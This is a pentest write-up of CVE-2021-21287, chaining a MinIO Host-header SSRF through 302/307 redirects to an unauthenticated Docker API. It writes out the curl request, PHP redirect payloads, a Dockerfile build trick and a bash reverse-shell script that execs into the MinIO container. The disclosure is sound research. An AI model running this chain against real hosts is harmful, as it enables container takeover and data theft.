CVE-2021-21287: Pentesting a MinIO on the Cloud

本文中文版本

With time going by, the demand for Object Storage Service (OSS) has gradually increased. MinIO is an open source OSS system that supports deployment in the clouds. MinIO is fully compatible with AWS S3 protocol and also supports as a gateway to S3, so it is widely used around the world and has 25k stars on Github.

I used to deploy some data in MinIO and use it in CI, Dockerfile and other places. I would like to talk about a pentest story that I encountered last week.

On the beginning of the story, here were what I knew:

  • There is a MinIO running in a small Docker cluster (depending on Swarm)
  • MinIO is running on its default port 9000, which is able to accessed from outside. The address is http://192.168.227.131:9000, but I didn't have credentials.
  • 192.168.227.131, this host is a CentOS system. The firewall is turned on. Dockerd listens to port 2375 on the internal network (in fact, this is also a swarm manager, and swarm listens on port 2377)

Although there is no specific goal for this pentest, I just set myself a goal: to steal the data in MinIO or pwn it.

0x01 Code Reviews for MinIO

let's learn about MinIO first. It is developed using Golang, provides an HTTP interface, and also provides a front-end page called "MinIO Browser". But you can not use it without authenticated.

When User-Agent matches the .*Mozilla.*, users can access the front-end interface of MinIO, which is a JsonRPC implemented by themselves:

image-20210124211255239.png

What make me interesting is the authenticated. I saw a method webRequestAuthenticate at the beginning of most RPC interfaces, which is a JWT (JSON Web Token) wrapper:

image-20210124211738748.png

Some common attack methods of JWT is:

  1. Change the alg to None to bypass the signature verification

  2. If the alg is RSA, you can try to change it to HS256, that is, tell the server to use the public key for signature verification

  3. Blasting the signature key

Looking at the JWT logical of MinIO, I found that the alg is verified, and only the following three signature methods are allowed:

image-20210124212344593.png

So the method 1 and 2 is unused, blasting is also not a good way for this case too.

Continue to read the code, soon I found an interface, LoginSTS. This interface is actually a proxy of the AWS STS login interface, which is used to convert the request sent to JsonRPC into STS and forward it to the local 9000 port (in fact, it is itself).

// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")

    v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)

    scheme := "http"
    // ...

    u := &url.URL{
        Scheme: scheme,
        Host:   r.Host,
    }

    u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}

No authentication bypass problem was found, but I found another interesting bug. In order to forward the request to "itself", MinIO obtains "own address" from the Host header sent by the user, and uses it as the Host to construct a new URL.

What's wrong with this function?

Because the request header is sent by user, any Host can be constructed here to perform an SSRF attack.

Let's test it. Use the CURL to send the request to http://192.168.227.131:9000, where the value of Host is the port opened by my local Ncat (192.168.1.142:4444):

curl -v -i -s -k -X 'POST' http://192.168.227.131:9000/minio/webrpc -H 'Host: 192.168.1.142:4444' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/json' --data-binary '{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}'

My Ncat received the request:

image-20210124215812861.png

I confirmed that it is a unauthenticated SSRF.

0x02 Upgrade the SSRF

This one is a POST request, but neither Path nor Body can be controlled. All I can control is a parameter WebIdentityToken in the URL, but this parameter is URL-encoded, any other special characters such as line breaks cannot be injected.

This is mean that the vulnerability can only be used to scan ports, it is not what I want.

Fortunately, Golang's default http library will follow 302 redirects, regardless of whether it is a GET or POST request. Therefore, I can use a 302 redirect here to "Upgrade" the SSRF vulnerability.

Use PHP to simply make a 302 response:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

Save and serve it to index.php:

image-20210124225105734.png

Change the Host header to this PHP server address. In this way, after a 302 redirect I got a GET request that can control the complete URL:

image-20210124224837443.png

After got this restrict-less GET SSRF, combined with my previous understanding of this service, I can try to attack port 2375 of the Docker cluster.

2375 is the default interface of Docker API, it uses HTTP protocol to communicate. So, can I attack this interface through SSRF? I was unsure.

Refer to this article, it is able to use docker run or docker exec to execute arbitrary commands in an unauthentication docker API. But looking through the Docker documentation, the requests for these two operations are POST /containers/create and POST /containers/{id}/exec.

Both APIs are POST requests, but the SSRF I have is a GET request. I still cannot use this SSRF vulnerability to attack.

0x03 Upgrade the SSRF Again

Do you remember how I got this GET SSRF? Of course, redirects through 302 response, and the first request is a POST one, although I can't directly use this POST request because its URL is uncontrollable.

Then, how to craft a fully controllable POST request?

I thought of 307 redirect. 307 is an HTTP status code defined in RFC 7231, which is described as follows:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.

The characteristic of 307 redirect is that it will not change the original request method, that is, when the server returns the 307 status code, the client will send a request of the same method according to the address pointed to by Location header.

I can use this feature to get a fully controllable POST request.

Simply modify the previous index.php:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

SSRF attack again, my Ncat receive a POST method, URL controllable and empty body request:

image-20210124232243242.png

0x04 Attack Docker API

Going back to the Docker API, I found that it is still impossible to use the docker run and docker exec APIs. The reason is that both APIs need to transmit JSON format parameters in the request body, and our SSRF's body is empty.

Going through the Docker documentation, I found another API, Build an image:

image-20210124232945843.png

Most of the parameters of this API are query parameters, which I can control from URL. Read the options and find that it can accept a parameter named remote, the description is:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file's contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball , the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

This parameter can be passed in a Git address or an HTTP URL, whose content is a Dockerfile, a Git project containing the Dockerfile, or a compressed package containing the Dockerfile.

In other words, the Docker API supports building a image by specifying a remote URL without a local Dockerfile.

So, I tried to write such a Dockerfile to see if I can build a image. If I can, my 4444 port should be able to receive a Wget request:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

Updated the index.php to point to this API:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

Wait for a minute, I received a expected request:

image-20210124233853616.png

Now, I can execute arbitrary commands in a new container, no more restrict.

0x05 Attack the MinIO

At this time, I was a little bit close to my goal, MinIO.

Because I can execute arbitrary commands now, I will no longer be restricted by SSRF vulnerabilities, I am able to get a reverse shell or send arbitrary request to the Docker API to control the container directly.

I wrote a script to automatically attack the MinIO container and put it into the Dockerfile. During the image building, a reverse shell command will be sent to the MinIO container.

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

What this script does is simple. One is to traverse all the containers to find the container id, and use the exec API to execute the reverse shell command in it.

Finally successfully got the shell of the MinIO container:

Of course, I can also attack cluster through the Docker API, which is beyond the scope of this article.

0x06 Summary

This pentest tour started from the 9000 port of a MinIO. Through code review, a SSRF vulnerability of MinIO was discovered, and this vulnerability was used to attack the Docker API of the Intranet. Finally, the permissions of MinIO container were lost.

The SSRF vulnerability mentioned in this article has been fixed rapidly, here is the timeline:

  • Jan 23, 2021, 9:11 PM - Bug reported
  • Jan 24, 2021, 3:06 AM - Bug triaged
  • Jan 26, 2021, 2:15 AM - Fix was merged into master branch
  • Jan 30, 2021, 11:22 AM - Security advisory and the release is published
  • Feb 2, 2021 01:10 AM - CVE identifier assigned - CVE-2021-21287

赞赏

喜欢这篇文章?打赏1元

评论

captcha